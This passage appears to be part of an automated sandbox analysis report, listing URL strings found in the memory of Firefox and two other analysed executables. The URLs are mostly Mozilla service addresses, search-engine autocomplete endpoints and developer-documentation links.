Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA7373B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA73790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002A.00000002.2978025405.000001FA76D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul%
Source: firefox.exe, 0000002A.00000002.2980825617.000001FA77033000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2978998870.000001FA76F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73797000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000002A.00000002.2976862750.000001FA76C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000002A.00000002.2984934462.000001FA77670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulU
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73797000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUsing
Source: firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73797000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73797000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73797000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000002A.00000002.2978998870.000001FA76F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: firefox.exe, 0000001C.00000003.2721197612.000001D462E3D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2723022808.000001D462E3D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746033321.000001D462E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2976862750.000001FA76C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002A.00000002.3012622457.000001FA7973F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000002A.00000002.2992861736.000001FA77F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: 8e42b8a1d9.exe, 0000000B.00000002.2656193729.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdT
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgl
Source: firefox.exe, 0000002A.00000002.3007673049.000001FA79127000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA79794000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 1026aa8304.exe, 00000007.00000003.2539947005.0000000005661000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000002A.00000002.2987935129.000001FA77BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2976862750.000001FA76CEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000002A.00000002.2978025405.000001FA76DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180D
Source: firefox.exe, 0000002A.00000002.2978998870.000001FA76F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1403293
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1592344
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2869582270.000001FA7B03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2842917948.000001FA782EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2845084444.000001FA782ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2870051376.000001FA7B0A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 1026aa8304.exe, 00000007.00000003.2539947005.0000000005661000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 1026aa8304.exe, 0000000A.00000003.2745354122.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2741794854.0000000005678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2738840795.000002D519CCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2738641118.000001D4620E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 0000002A.00000002.2993976491.000001FA780C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2789300753.000001FA73D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2958818445.000001FA73C85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2894161926.000001FA780C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2836808146.000001FA780C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000002A.00000002.2978998870.000001FA76F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-scoping/#slots-in-shadow-tree
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000002A.00000002.3032541275.00001D864E300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3033018324.00002AB395F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1026aa8304.exe, 00000007.00000003.2487276079.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2487390751.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639043253.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638747992.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2638069799.00000000056BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
